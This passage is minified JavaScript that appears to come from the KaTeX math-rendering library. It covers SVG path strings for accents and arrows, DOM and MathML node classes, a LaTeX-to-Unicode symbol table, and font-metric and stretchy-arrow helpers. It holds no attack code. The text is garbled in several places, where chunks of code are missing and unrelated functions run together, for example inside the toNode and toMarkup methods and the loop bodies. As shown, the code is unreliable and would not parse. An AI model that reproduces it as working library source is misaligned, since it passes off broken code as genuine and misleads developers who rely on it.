5 10 11l-2 23c-1 6-5 10\n-11 10h-1L1182 67 15 220h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z",widehat3:"M1181 0h2l1171 236c6 0 10 5 10 11l-2 23c-1 6-5 10\n-11 10h-1L1182 67 15 280h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z",widehat4:"M1181 0h2l1171 296c6 0 10 5 10 11l-2 23c-1 6-5 10\n-11 10h-1L1182 67 15 340h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z",widecheck1:"M529,159h5l519,-115c5,-1,9,-5,9,-10c0,-1,-1,-2,-1,-3l-4,-22c-1,\n-5,-5,-9,-11,-9h-2l-512,92l-513,-92h-2c-5,0,-9,4,-11,9l-5,22c-1,6,2,12,8,13z",widecheck2:"M1181,220h2l1171,-176c6,0,10,-5,10,-11l-2,-23c-1,-6,-5,-10,\n-11,-10h-1l-1168,153l-1167,-153h-1c-6,0,-10,4,-11,10l-2,23c-1,6,4,11,10,11z",widecheck3:"M1181,280h2l1171,-236c6,0,10,-5,10,-11l-2,-23c-1,-6,-5,-10,\n-11,-10h-1l-1168,213l-1167,-213h-1c-6,0,-10,4,-11,10l-2,23c-1,6,4,11,10,11z",widecheck4:"M1181,340h2l1171,-296c6,0,10,-5,10,-11l-2,-23c-1,-6,-5,-10,\n-11,-10h-1l-1168,273l-1167,-273h-1c-6,0,-10,4,-11,10l-2,23c-1,6,4,11,10,11z",baraboveleftarrow:"M400000 620h-399890l3 -3c68.7 -52.7 113.7 -120 135 -202\nc4 -14.7 6 -23 6 -25c0 -7.3 -7 -11 -21 -11c-8 0 -13.2 0.8 -15.5 2.5\nc-2.3 1.7 -4.2 5.8 -5.5 12.5c-1.3 4.7 -2.7 10.3 -4 17c-12 48.7 -34.8 92 -68.5 130\ns-74.2 66.3 -121.5 85c-10 4 -16 7.7 -18 11c0 8.7 6 14.3 18 17c47.3 18.7 87.8 47\n121.5 85s56.5 81.3 68.5 130c0.7 2 1.3 5 2 9s1.2 6.7 1.5 8c0.3 1.3 1 3.3 2 6\ns2.2 4.5 3.5 5.5c1.3 1 3.3 1.8 6 2.5s6 1 10 1c14 0 21 -3.7 21 -11\nc0 -2 -2 -10.3 -6 -25c-20 -79.3 -65 -146.7 -135 -202l-3 -3h399890z\nM100 620v40h399900v-40z M0 241v40h399900v-40zM0 241v40h399900v-40z",rightarrowabovebar:"M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32\n-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0\n13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39\n-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5\n-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5\n-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67\n151.7 139 205zm96 379h399894v40H0zm0 0h399904v40H0z",baraboveshortleftharpoon:"M507,435c-4,4,-6.3,8.7,-7,14c0,5.3,0.7,9,2,11\nc1.3,2,5.3,5.3,12,10c90.7,54,156,130,196,228c3.3,10.7,6.3,16.3,9,17\nc2,0.7,5,1,9,1c0,0,5,0,5,0c10.7,0,16.7,-2,18,-6c2,-2.7,1,-9.7,-3,-21\nc-32,-87.3,-82.7,-157.7,-152,-211c0,0,-3,-3,-3,-3l399351,0l0,-40\nc-398570,0,-399437,0,-399437,0z M593 435 v40 H399500 v-40z\nM0 281 v-40 H399908 v40z M0 281 v-40 H399908 v40z",rightharpoonaboveshortbar:"M0,241 l0,40c399126,0,399993,0,399993,0\nc4.7,-4.7,7,-9.3,7,-14c0,-9.3,-3.7,-15.3,-11,-18c-92.7,-56.7,-159,-133.7,-199,\n-231c-3.3,-9.3,-6,-14.7,-8,-16c-2,-1.3,-7,-2,-15,-2c-10.7,0,-16.7,2,-18,6\nc-2,2.7,-1,9.7,3,21c15.3,42,36.7,81.8,64,119.5c27.3,37.7,58,69.2,92,94.5z\nM0 241 v40 H399908 v-40z M0 475 v-40 H399500 v40z M0 475 v-40 H399500 v40z",shortbaraboveleftharpoon:"M7,435c-4,4,-6.3,8.7,-7,14c0,5.3,0.7,9,2,11\nc1.3,2,5.3,5.3,12,10c90.7,54,156,130,196,228c3.3,10.7,6.3,16.3,9,17c2,0.7,5,1,9,\n1c0,0,5,0,5,0c10.7,0,16.7,-2,18,-6c2,-2.7,1,-9.7,-3,-21c-32,-87.3,-82.7,-157.7,\n-152,-211c0,0,-3,-3,-3,-3l399907,0l0,-40c-399126,0,-399993,0,-399993,0z\nM93 435 v40 H400000 v-40z M500 241 v40 H400000 v-40z M500 241 v40 H400000 v-40z",shortrightharpoonabovebar:"M53,241l0,40c398570,0,399437,0,399437,0\nc4.7,-4.7,7,-9.3,7,-14c0,-9.3,-3.7,-15.3,-11,-18c-92.7,-56.7,-159,-133.7,-199,\n-231c-3.3,-9.3,-6,-14.7,-8,-16c-2,-1.3,-7,-2,-15,-2c-10.7,0,-16.7,2,-18,6\nc-2,2.7,-1,9.7,3,21c15.3,42,36.7,81.8,64,119.5c27.3,37.7,58,69.2,92,94.5z\nM500 241 v40 H399408 v-40z M500 435 v40 H400000 v-40z"},M=function(){function e(e){this.children=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.maxFontSize=void 0,this.style=void 0,this.children=e,this.classes=[],this.height=0,this.depth=0,this.maxFontSize=0,this.style={}}var t=e.prototype;return t.hasClass=function(e){return l.contains(this.classes,e)},t.toNode=function(){for(var e=document.createDocumentFragment(),t=0;t"},N=function(){function e(e,t,r,n){this.children=void 0,this.attributes=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.width=void 0,this.maxFontSize=void 0,this.style=void 0,A.call(this,e,r,n),this.children=t||[]}var t=e.prototype;return t.setAttribute=function(e,t){this.attributes[e]=t},t.hasClass=function(e){return l.contains(this.classes,e)},t.toNode=function(){return T.call(this,"span")},t.toMarkup=function(){return B.call(this,"span")},e}(),q=function(){function e(e,t,r,n){this.children=void 0,this.attributes=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.maxFontSize=void 0,this.style=void 0,A.call(this,t,n),this.children=r||[],this.setAttribute("href",e)}var t=e.prototype;return t.setAttribute=function(e,t){this.attributes[e]=t},t.hasClass=function(e){return l.contains(this.classes,e)},t.toNode=function(){return T.call(this,"a")},t.toMarkup=function(){return B.call(this,"a")},e}(),C=function(){function e(e,t,r){this.src=void 0,this.alt=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.maxFontSize=void 0,this.style=void 0,this.alt=t,this.src=e,this.classes=["mord"],this.style=r}var t=e.prototype;return t.hasClass=function(e){return l.contains(this.classes,e)},t.toNode=function(){var e=document.createElement("img");for(var t in e.src=this.src,e.alt=this.alt,e.className="mord",this.style)this.style.hasOwnProperty(t)&&(e.style[t]=this.style[t]);return e},t.toMarkup=function(){var e=""+this.alt+"=a[0]&&e<=a[1])return r.name}return null}(this.text.charCodeAt(0));l&&this.classes.push(l+"_fallback"),/[\xee\xef\xed\xec]/.test(this.text)&&(this.text=I[this.text])}var t=e.prototype;return t.hasClass=function(e){return l.contains(this.classes,e)},t.toNode=function(){var e=document.createTextNode(this.text),t=null;for(var r in this.italic>0&&((t=document.createElement("span")).style.marginRight=this.italic+"em"),this.classes.length>0&&((t=t||document.createElement("span")).className=z(this.classes)),this.style)this.style.hasOwnProperty(r)&&((t=t||document.createElement("span")).style[r]=this.style[r]);return t?(t.appendChild(e),t):e},t.toMarkup=function(){var e=!1,t="0&&(r+="margin-right:"+this.italic+"em;"),this.style)this.style.hasOwnProperty(n)&&(r+=l.hyphenate(n)+":"+this.style[n]+";");r&&(e=!0,t+=' style="'+l.escape(r)+'"');var a=l.escape(this.text);return e?(t+=">",t+=a,t+=""):a},e}(),O=function(){function e(e,t){this.children=void 0,this.attributes=void 0,this.children=e||[],this.attributes=t||{}}var t=e.prototype;return t.toNode=function(){var e=document.createElementNS("http://www.w3.org/2000/svg","svg");for(var t in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,t)&&e.setAttribute(t,this.attributes[t]);for(var r=0;r":""},e}(),H=function(){function e(e){this.attributes=void 0,this.attributes=e||{}}var t=e.prototype;return t.toNode=function(){var e=document.createElementNS("http://www.w3.org/2000/svg","line");for(var t in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,t)&&e.setAttribute(t,this.attributes[t]);return e},t.toMarkup=function(){var e="","\\gt",!0),_(j,Z,oe,"\u2208","\\in",!0),_(j,Z,oe,"\ue020","\\@not"),_(j,Z,oe,"\u2282","\\subset",!0),_(j,Z,oe,"\u2283","\\supset",!0),_(j,Z,oe,"\u2286","\\subseteq",!0),_(j,Z,oe,"\u2287","\\supseteq",!0),_(j,K,oe,"\u2288","\\nsubseteq",!0),_(j,K,oe,"\u2289","\\nsupseteq",!0),_(j,Z,oe,"\u22a8","\\models"),_(j,Z,oe,"\u2190","\\leftarrow",!0),_(j,Z,oe,"\u2264","\\le"),_(j,Z,oe,"\u2264","\\leq",!0),_(j,Z,oe,"<","\\lt",!0),_(j,Z,oe,"\u2192","\\rightarrow",!0),_(j,Z,oe,"\u2192","\\to"),_(j,K,oe,"\u2271","\\ngeq",!0),_(j,K,oe,"\u2270","\\nleq",!0),_(j,Z,se,"\xa0","\\ "),_(j,Z,se,"\xa0","\\space"),_(j,Z,se,"\xa0","\\nobreakspace"),_($,Z,se,"\xa0","\\ "),_($,Z,se,"\xa0"," "),_($,Z,se,"\xa0","\\space"),_($,Z,se,"\xa0","\\nobreakspace"),_(j,Z,se,null,"\\nobreak"),_(j,Z,se,null,"\\allowbreak"),_(j,Z,ie,",",","),_(j,Z,ie,";",";"),_(j,K,Q,"\u22bc","\\barwedge",!0),_(j,K,Q,"\u22bb","\\veebar",!0),_(j,Z,Q,"\u2299","\\odot",!0),_(j,Z,Q,"\u2295","\\oplus",!0),_(j,Z,Q,"\u2297","\\otimes",!0),_(j,Z,le,"\u2202","\\partial",!0),_(j,Z,Q,"\u2298","\\oslash",!0),_(j,K,Q,"\u229a","\\circledcirc",!0),_(j,K,Q,"\u22a1","\\boxdot",!0),_(j,Z,Q,"\u25b3","\\bigtriangleup"),_(j,Z,Q,"\u25bd","\\bigtriangledown"),_(j,Z,Q,"\u2020","\\dagger"),_(j,Z,Q,"\u22c4","\\diamond"),_(j,Z,Q,"\u22c6","\\star"),_(j,Z,Q,"\u25c3","\\triangleleft"),_(j,Z,Q,"\u25b9","\\triangleright"),_(j,Z,ae,"{","\\{"),_($,Z,le,"{","\\{"),_($,Z,le,"{","\\textbraceleft"),_(j,Z,ee,"}","\\}"),_($,Z,le,"}","\\}"),_($,Z,le,"}","\\textbraceright"),_(j,Z,ae,"{","\\lbrace"),_(j,Z,ee,"}","\\rbrace"),_(j,Z,ae,"[","\\lbrack",!0),_($,Z,le,"[","\\lbrack",!0),_(j,Z,ee,"]","\\rbrack",!0),_($,Z,le,"]","\\rbrack",!0),_(j,Z,ae,"(","\\lparen",!0),_(j,Z,ee,")","\\rparen",!0),_($,Z,le,"<","\\textless",!0),_($,Z,le,">","\\textgreater",!0),_(j,Z,ae,"\u230a","\\lfloor",!0),_(j,Z,ee,"\u230b","\\rfloor",!0),_(j,Z,ae,"\u2308","\\lceil",!0),_(j,Z,ee,"\u2309","\\rceil",!0),_(j,Z,le,"\\","\\backslash"),_(j,Z,le,"\u2223","|"),_(j,Z,le,"\u2223","\\vert"),_($,Z,le,"|","\\textbar",!0),_(j,Z,le,"\u2225","\\|"),_(j,Z,le,"\u2225","\\Vert"),_($,Z,le,"\u2225","\\textbardbl"),_($,Z,le,"~","\\textasciitilde"),_($,Z,le,"\\","\\textbackslash"),_($,Z,le,"^","\\textasciicircum"),_(j,Z,oe,"\u2191","\\uparrow",!0),_(j,Z,oe,"\u21d1","\\Uparrow",!0),_(j,Z,oe,"\u2193","\\downarrow",!0),_(j,Z,oe,"\u21d3","\\Downarrow",!0),_(j,Z,oe,"\u2195","\\updownarrow",!0),_(j,Z,oe,"\u21d5","\\Updownarrow",!0),_(j,Z,ne,"\u2210","\\coprod"),_(j,Z,ne,"\u22c1","\\bigvee"),_(j,Z,ne,"\u22c0","\\bigwedge"),_(j,Z,ne,"\u2a04","\\biguplus"),_(j,Z,ne,"\u22c2","\\bigcap"),_(j,Z,ne,"\u22c3","\\bigcup"),_(j,Z,ne,"\u222b","\\int"),_(j,Z,ne,"\u222b","\\intop"),_(j,Z,ne,"\u222c","\\iint"),_(j,Z,ne,"\u222d","\\iiint"),_(j,Z,ne,"\u220f","\\prod"),_(j,Z,ne,"\u2211","\\sum"),_(j,Z,ne,"\u2a02","\\bigotimes"),_(j,Z,ne,"\u2a01","\\bigoplus"),_(j,Z,ne,"\u2a00","\\bigodot"),_(j,Z,ne,"\u222e","\\oint"),_(j,Z,ne,"\u222f","\\oiint"),_(j,Z,ne,"\u2230","\\oiiint"),_(j,Z,ne,"\u2a06","\\bigsqcup"),_(j,Z,ne,"\u222b","\\smallint"),_($,Z,te,"\u2026","\\textellipsis"),_(j,Z,te,"\u2026","\\mathellipsis"),_($,Z,te,"\u2026","\\ldots",!0),_(j,Z,te,"\u2026","\\ldots",!0),_(j,Z,te,"\u22ef","\\@cdots",!0),_(j,Z,te,"\u22f1","\\ddots",!0),_(j,Z,le,"\u22ee","\\varvdots"),_(j,Z,J,"\u02ca","\\acute"),_(j,Z,J,"\u02cb","\\grave"),_(j,Z,J,"\xa8","\\ddot"),_(j,Z,J,"~","\\tilde"),_(j,Z,J,"\u02c9","\\bar"),_(j,Z,J,"\u02d8","\\breve"),_(j,Z,J,"\u02c7","\\check"),_(j,Z,J,"^","\\hat"),_(j,Z,J,"\u20d7","\\vec"),_(j,Z,J,"\u02d9","\\dot"),_(j,Z,J,"\u02da","\\mathring"),_(j,Z,re,"\ue131","\\@imath"),_(j,Z,re,"\ue237","\\@jmath"),_(j,Z,le,"\u0131","\u0131"),_(j,Z,le,"\u0237","\u0237"),_($,Z,le,"\u0131","\\i",!0),_($,Z,le,"\u0237","\\j",!0),_($,Z,le,"\xdf","\\ss",!0),_($,Z,le,"\xe6","\\ae",!0),_($,Z,le,"\u0153","\\oe",!0),_($,Z,le,"\xf8","\\o",!0),_($,Z,le,"\xc6","\\AE",!0),_($,Z,le,"\u0152","\\OE",!0),_($,Z,le,"\xd8","\\O",!0),_($,Z,J,"\u02ca","\\'"),_($,Z,J,"\u02cb","\\`"),_($,Z,J,"\u02c6","\\^"),_($,Z,J,"\u02dc","\\~"),_($,Z,J,"\u02c9","\\="),_($,Z,J,"\u02d8","\\u"),_($,Z,J,"\u02d9","\\."),_($,Z,J,"\xb8","\\c"),_($,Z,J,"\u02da","\\r"),_($,Z,J,"\u02c7","\\v"),_($,Z,J,"\xa8",'\\"'),_($,Z,J,"\u02dd","\\H"),_($,Z,J,"\u25ef","\\textcircled");var he={"--":!0,"---":!0,"``":!0,"''":!0};_($,Z,le,"\u2013","--",!0),_($,Z,le,"\u2013","\\textendash"),_($,Z,le,"\u2014","---",!0),_($,Z,le,"\u2014","\\textemdash"),_($,Z,le,"\u2018","`",!0),_($,Z,le,"\u2018","\\textquoteleft"),_($,Z,le,"\u2019","'",!0),_($,Z,le,"\u2019","\\textquoteright"),_($,Z,le,"\u201c","``",!0),_($,Z,le,"\u201c","\\textquotedblleft"),_($,Z,le,"\u201d","''",!0),_($,Z,le,"\u201d","\\textquotedblright"),_(j,Z,le,"\xb0","\\degree",!0),_($,Z,le,"\xb0","\\degree"),_($,Z,le,"\xb0","\\textdegree",!0),_(j,Z,le,"\xa3","\\pounds"),_(j,Z,le,"\xa3","\\mathsterling",!0),_($,Z,le,"\xa3","\\pounds"),_($,Z,le,"\xa3","\\textsterling",!0),_(j,K,le,"\u2720","\\maltese"),_($,K,le,"\u2720","\\maltese");for(var me='0123456789/@."',ce=0;ce=5?0:e>=3?1:2]){var r=G[t]={cssEmPerMu:P.quad[t]/18};for(var n in P)P.hasOwnProperty(n)&&(r[n]=P[n][t])}return G[t]}(this.size)),this._fontMetrics},t.getColor=function(){return this.phantom?"transparent":this.color},e}();Ie.BASESIZE=6;var Re=Ie,Oe={pt:1,mm:7227/2540,cm:7227/254,in:72.27,bp:1.00375,pc:12,dd:1238/1157,cc:14856/1157,nd:685/642,nc:1370/107,sp:1/65536,px:1.00375},Ee={ex:!0,em:!0,mu:!0},He=function(e){return"string"!=typeof e&&(e=e.unit),e in Oe||e in Ee||"ex"===e},Le=function(e,t){var r;if(e.unit in Oe)r=Oe[e.unit]/t.fontMetrics().ptPerEm/t.sizeMultiplier;else if("mu"===e.unit)r=t.fontMetrics().cssEmPerMu;else{var a;if(a=t.style.isTight()?t.havingStyle(t.style.text()):t,"ex"===e.unit)r=a.fontMetrics().xHeight;else{if("em"!==e.unit)throw new n("Invalid unit: '"+e.unit+"'");r=a.fontMetrics().quad}a!==t&&(r*=a.sizeMultiplier/t.sizeMultiplier)}return Math.min(e.number*r,t.maxSize)},De=function(e,t,r){return X[r][e]&&X[r][e].replace&&(e=X[r][e].replace),{value:e,metrics:V(e,t,r)}},Pe=function(e,t,r,n,a){var i,o=De(e,t,r),s=o.metrics;if(e=o.value,s){var l=s.italic;("text"===r||n&&"mathit"===n.font)&&(l=0),i=new R(e,s.height,s.depth,l,s.skew,s.width,a)}else"undefined"!=typeof console&&console.warn("No character metrics for '"+e+"' in style '"+t+"' and mode '"+r+"'"),i=new R(e,0,0,0,0,0,a);if(n){i.maxFontSize=n.sizeMultiplier,n.style.isTight()&&i.classes.push("mtight");var h=n.getColor();h&&(i.style.color=h)}return i},Fe=function(e,t){if(z(e.classes)!==z(t.classes)||e.skew!==t.skew||e.maxFontSize!==t.maxFontSize)return!1;if(1===e.classes.length){var r=e.classes[0];if("mbin"===r||"mord"===r)return!1}for(var n in e.style)if(e.style.hasOwnProperty(n)&&e.style[n]!==t.style[n])return!1;for(var a in t.style)if(t.style.hasOwnProperty(a)&&e.style[a]!==t.style[a])return!1;return!0},Ve=function(e){for(var t=0,r=0,n=0,a=0;at&&(t=i.height),i.depth>r&&(r=i.depth),i.maxFontSize>n&&(n=i.maxFontSize)}e.height=t,e.depth=r,e.maxFontSize=n},Ge=function(e,t,r,n){var a=new N(e,t,r,n);return Ve(a),a},Ue=function(e,t,r,n){return new N(e,t,r,n)},Ye=function(e){var t=new M(e);return Ve(t),t},We=function(e,t,r){var n="";switch(e){case"amsrm":n="AMS";break;case"textrm":n="Main";break;case"textsf":n="SansSerif";break;case"texttt":n="Typewriter";break;default:n=e}return n+"-"+("textbf"===t&&"textit"===r?"BoldItalic":"textbf"===t?"Bold":"textit"===t?"Italic":"Regular")},Xe={mathbf:{variant:"bold",fontName:"Main-Bold"},mathrm:{variant:"normal",fontName:"Main-Regular"},textit:{variant:"italic",fontName:"Main-Italic"},mathit:{variant:"italic",fontName:"Main-Italic"},mathnormal:{variant:"italic",fontName:"Math-Italic"},mathbb:{variant:"double-struck",fontName:"AMS-Regular"},mathcal:{variant:"script",fontName:"Caligraphic-Regular"},mathfrak:{variant:"fraktur",fontName:"Fraktur-Regular"},mathscr:{variant:"script",fontName:"Script-Regular"},mathsf:{variant:"sans-serif",fontName:"SansSerif-Regular"},mathtt:{variant:"monospace",fontName:"Typewriter-Regular"}},_e={vec:["vec",.471,.714],oiintSize1:["oiintSize1",.957,.499],oiintSize2:["oiintSize2",1.472,.659],oiiintSize1:["oiiintSize1",1.304,.499],oiiintSize2:["oiiintSize2",1.98,.659]},je={fontMap:Xe,makeSymbol:Pe,mathsym:function(e,t,r,n){return void 0===n&&(n=[]),"boldsymbol"===r.font&&De(e,"Main-Bold",t).metrics?Pe(e,"Main-Bold",t,r,n.concat(["mathbf"])):"\\"===e||"main"===X[t][e].font?Pe(e,"Main-Regular",t,r,n):Pe(e,"AMS-Regular",t,r,n.concat(["amsrm"]))},makeSpan:Ge,makeSvgSpan:Ue,makeLineSpan:function(e,t,r){var n=Ge([e],[],t);return n.height=Math.max(r||t.fontMetrics().defaultRuleThickness,t.minRuleThickness),n.style.borderBottomWidth=n.height+"em",n.maxFontSize=1,n},makeAnchor:function(e,t,r,n){var a=new q(e,t,r,n);return Ve(a),a},makeFragment:Ye,wrapFragment:function(e,t){return e instanceof M?Ge([],[e],t):e},makeVList:function(e,t){for(var r=function(e){if("individualShift"===e.positionType){for(var t=e.children,r=[t[0]],n=-t[0].shift-t[0].elem.depth,a=n,i=1;i0&&(o.push(yt(s,t)),s=[]),o.push(a[l]));s.length>0&&o.push(yt(s,t)),r?((i=yt(ut(r,t,!0))).classes=["tag"],o.push(i)):n&&o.push(n);var m=st(["katex-html"],o);if(m.setAttribute("aria-hidden","true"),i){var c=i.children[0];c.style.height=m.height+m.depth+"em",c.style.verticalAlign=-m.depth+"em"}return m}function wt(e){return new M(e)}var kt=function(){function e(e,t,r){this.type=void 0,this.attributes=void 0,this.children=void 0,this.classes=void 0,this.type=e,this.attributes={},this.children=t||[],this.classes=r||[]}var t=e.prototype;return t.setAttribute=function(e,t){this.attributes[e]=t},t.getAttribute=function(e){return this.attributes[e]},t.toNode=function(){var e=document.createElementNS("http://www.w3.org/1998/Math/MathML",this.type);for(var t in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,t)&&e.setAttribute(t,this.attributes[t]);this.classes.length>0&&(e.className=z(this.classes));for(var r=0;r0&&(e+=' class ="'+l.escape(z(this.classes))+'"'),e+=">";for(var r=0;r"},t.toText=function(){return this.children.map((function(e){return e.toText()})).join("")},e}(),St=function(){function e(e){this.text=void 0,this.text=e}var t=e.prototype;return t.toNode=function(){return document.createTextNode(this.text)},t.toMarkup=function(){return l.escape(this.toText())},t.toText=function(){return this.text},e}(),Mt={MathNode:kt,TextNode:St,SpaceNode:function(){function e(e){this.width=void 0,this.character=void 0,this.width=e,this.character=e>=.05555&&e<=.05556?"\u200a":e>=.1666&&e<=.1667?"\u2009":e>=.2222&&e<=.2223?"\u2005":e>=.2777&&e<=.2778?"\u2005\u200a":e>=-.05556&&e<=-.05555?"\u200a\u2063":e>=-.1667&&e<=-.1666?"\u2009\u2063":e>=-.2223&&e<=-.2222?"\u205f\u2063":e>=-.2778&&e<=-.2777?"\u2005\u2063":null}var t=e.prototype;return t.toNode=function(){if(this.character)return document.createTextNode(this.character);var e=document.createElementNS("http://www.w3.org/1998/Math/MathML","mspace");return e.setAttribute("width",this.width+"em"),e},t.toMarkup=function(){return this.character?""+this.character+"":''},t.toText=function(){return this.character?this.character:" "},e}(),newDocumentFragment:wt},zt=function(e,t,r){return!X[t][e]||!X[t][e].replace||55349===e.charCodeAt(0)||he.hasOwnProperty(e)&&r&&(r.fontFamily&&"tt"===r.fontFamily.substr(4,2)||r.font&&"tt"===r.font.substr(4,2))||(e=X[t][e].replace),new Mt.TextNode(e)},At=function(e){return 1===e.length?e[0]:new Mt.MathNode("mrow",e)},Tt=function(e,t){if("texttt"===t.fontFamily)return"monospace";if("textsf"===t.fontFamily)return"textit"===t.fontShape&&"textbf"===t.fontWeight?"sans-serif-bold-italic":"textit"===t.fontShape?"sans-serif-italic":"textbf"===t.fontWeight?"bold-sans-serif":"sans-serif";if("textit"===t.fontShape&&"textbf"===t.fontWeight)return"bold-italic";if("textit"===t.fontShape)return"italic";if("textbf"===t.fontWeight)return"bold";var r=t.font;if(!r||"mathnormal"===r)return null;var n=e.mode;if("mathit"===r)return"italic";if("boldsymbol"===r)return"textord"===e.type?"bold":"bold-italic";if("mathbf"===r)return"bold";if("mathbb"===r)return"double-struck";if("mathfrak"===r)return"fraktur";if("mathscr"===r||"mathcal"===r)return"script";if("mathsf"===r)return"sans-serif";if("mathtt"===r)return"monospace";var a=e.text;return l.contains(["\\imath","\\jmath"],a)?null:(X[n][a]&&X[n][a].replace&&(a=X[n][a].replace),V(a,je.fontMap[r].fontName,n)?je.fontMap[r].variant:null)},Bt=function(e,t,r){if(1===e.length){var n=qt(e[0],t);return r&&n instanceof kt&&"mo"===n.type&&(n.setAttribute("lspace","0em"),n.setAttribute("rspace","0em")),[n]}for(var a,i=[],o=0;o0&&(p.text=p.text.slice(0,1)+"\u0338"+p.text.slice(1),i.pop())}}}i.push(s),a=s}return i},Nt=function(e,t,r){return At(Bt(e,t,r))},qt=function(e,t){if(!e)return new Mt.MathNode("mrow");if(rt[e.type])return rt[e.type](e,t);throw new n("Got group of unknown type: '"+e.type+"'")};function Ct(e,t,r,n,a){var i,o=Bt(e,r);i=1===o.length&&o[0]instanceof kt&&l.contains(["mrow","mtable"],o[0].type)?o[0]:new Mt.MathNode("mrow",o);var s=new Mt.MathNode("annotation",[new Mt.TextNode(t)]);s.setAttribute("encoding","application/x-tex");var h=new Mt.MathNode("semantics",[i,s]),m=new Mt.MathNode("math",[h]);m.setAttribute("xmlns","http://www.w3.org/1998/Math/MathML"),n&&m.setAttribute("display","block");var c=a?"katex":"katex-mathml";return je.makeSpan([c],[m])}var It=function(e){return new Re({style:e.displayMode?b.DISPLAY:b.TEXT,maxSize:e.maxSize,minRuleThickness:e.minRuleThickness})},Rt=function(e,t){if(t.displayMode){var r=["katex-display"];t.leqno&&r.push("leqno"),t.fleqn&&r.push("fleqn"),e=je.makeSpan(r,[e])}return e},Ot=function(e,t,r){var n,a=It(r);if("mathml"===r.output)return Ct(e,t,a,r.displayMode,!0);if("html"===r.output){var i=xt(e,a);n=je.makeSpan(["katex"],[i])}else{var o=Ct(e,t,a,r.displayMode,!1),s=xt(e,a);n=je.makeSpan(["katex"],[o,s])}return Rt(n,r)},Et={widehat:"^",widecheck:"\u02c7",widetilde:"~",utilde:"~",overleftarrow:"\u2190",underleftarrow:"\u2190",xleftarrow:"\u2190",overrightarrow:"\u2192",underrightarrow:"\u2192",xrightarrow:"\u2192",underbrace:"\u23df",overbrace:"\u23de",overgroup:"\u23e0",undergroup:"\u23e1",overleftrightarrow:"\u2194",underleftrightarrow:"\u2194",xleftrightarrow:"\u2194",Overrightarrow:"\u21d2",xRightarrow:"\u21d2",overleftharpoon:"\u21bc",xleftharpoonup:"\u21bc",overrightharpoon:"\u21c0",xrightharpoonup:"\u21c0",xLeftarrow:"\u21d0",xLeftrightarrow:"\u21d4",xhookleftarrow:"\u21a9",xhookrightarrow:"\u21aa",xmapsto:"\u21a6",xrightharpoondown:"\u21c1",xleftharpoondown:"\u21bd",xrightleftharpoons:"\u21cc",xleftrightharpoons:"\u21cb",xtwoheadleftarrow:"\u219e",xtwoheadrightarrow:"\u21a0",xlongequal:"=",xtofrom:"\u21c4",xrightleftarrows:"\u21c4",xrightequilibrium:"\u21cc",xleftequilibrium:"\u21cb","\\cdrightarrow":"\u2192","\\cdleftarrow":"\u2190","\\cdlongequal":"="},Ht={overrightarrow:[["rightarrow"],.888,522,"xMaxYMin"],overleftarrow:[["leftarrow"],.888,522,"xMinYMin"],underrightarrow:[["rightarrow"],.888,522,"xMaxYMin"],underleftarrow:[["leftarrow"],.888,522,"xMinYMin"],xrightarrow:[["rightarrow"],1.469,522,"xMaxYMin"],"\\cdrightarrow":[["rightarrow"],3,522,"xMaxYMin"],xleftarrow:[["leftarrow"],1.469,522,"xMinYMin"],"\\cdleftarrow":[["leftarrow"],3,522,"xMinYMin"],Overrightarrow:[["doublerightarrow"],.888,560,"xMaxYMin"],xRightarrow:[["doublerightarrow"],1.526,560,"xMaxYMin"],xLeftarrow:[["doubleleftarrow"],1.526,560,"xMinYMin"],overleftharpoon:[["leftharpoon"],.888,522,"xMinYMin"],xleftharpoonup:[["leftharpoon"],.888,522,"xMinYMin"],xleftharpoondown:[["leftharpoondown"],.888,522,"xMinYMin"],overrightharpoon:[["rightharpoon"],.888,522,"xMaxYMin"],xrightharpoonup:[["rightharpoon"],.888,522,"xMaxYMin"],xrightharpoondown:[["rightharpoondown"],.888,522,"xMaxYMin"],xlongequal:[["longequal"],.888,334,"xMinYMin"],"\\cdlongequal":[["longequal"],3,334,"xMinYMin"],xtwoheadleftarrow:[["twoheadleftarrow"],.888,334,"xMinYMin"],xtwoheadrightarrow:[["twoheadrightarrow"],.888,334,"xMaxYMin"],overleftrightarrow:[["leftarrow","rightarrow"],.888,522],overbrace:[["leftbrace","midbrace","rightbrace"],1.6,548],underbrace:[["leftbraceunder","midbraceunder","rightbraceunder"],1.6,548],underleftrightarrow:[["leftarrow","rightarrow"],.888,522],xleftrightarrow:[["leftarrow","rightarrow"],1.75,522],xLeftrightarrow:[["doubleleftarrow","doublerightarrow"],1.75,560],xrightleftharpoons:[["leftharpoondownplus","rightharpoonplus"],1.75,716],xleftrightharpoons:[["leftharpoonplus","rightharpoondownplus"],1.75,716],xhookleftarrow:[["leftarrow","righthook"],1.08,522],xhookrightarrow:[["lefthook","rightarrow"],1.08,522],overlinesegment:[["leftlinesegment","rightlinesegment"],.888,522],underlinesegment:[["leftlinesegment","rightlinesegment"],.888,522],overgroup:[["leftgroup","rightgroup"],.888,342],undergroup:[["leftgroupunder","rightgroupunder"],.888,342],xmapsto:[["leftmapsto","rightarrow"],1.5,522],xtofrom:[["leftToFrom","rightToFrom"],1.75,528],xrightleftarrows:[["baraboveleftarrow","rightarrowabovebar"],1.75,901],xrightequilibrium:[["baraboveshortleftharpoon","rightharpoonaboveshortbar"],1.75,716],xleftequilibrium:[["shortbaraboveleftharpoon","shortrightharpoonabovebar"],1.75,716]},Lt=function(e,t,r,n,a){var 